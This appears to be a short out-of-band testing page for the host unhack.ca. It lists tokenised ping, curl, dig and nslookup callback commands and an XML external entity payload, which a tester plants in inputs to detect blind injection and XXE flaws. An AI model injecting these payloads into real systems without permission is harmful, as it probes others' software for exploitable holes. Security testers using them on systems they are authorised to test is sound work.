$ ping -c1 -p 009e17c80a74418abb8faf4c9c3b6400 unhack.ca
 

$ curl http://unhack.ca/p/9e17c80a74418abb8faf4c9c3b64
 

$ dig 9e17c80a74418abb8faf4c9c3b64 @unhack.ca
 

$ dig 9e17c80a74418abb8faf4c9c3b64.ns.unhack.ca
 

C:\> nslookup 9e17c80a74418abb8faf4c9c3b64 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9e17c80a74418abb8faf4c9c3b64">]>
    <foo>&xxe;</foo>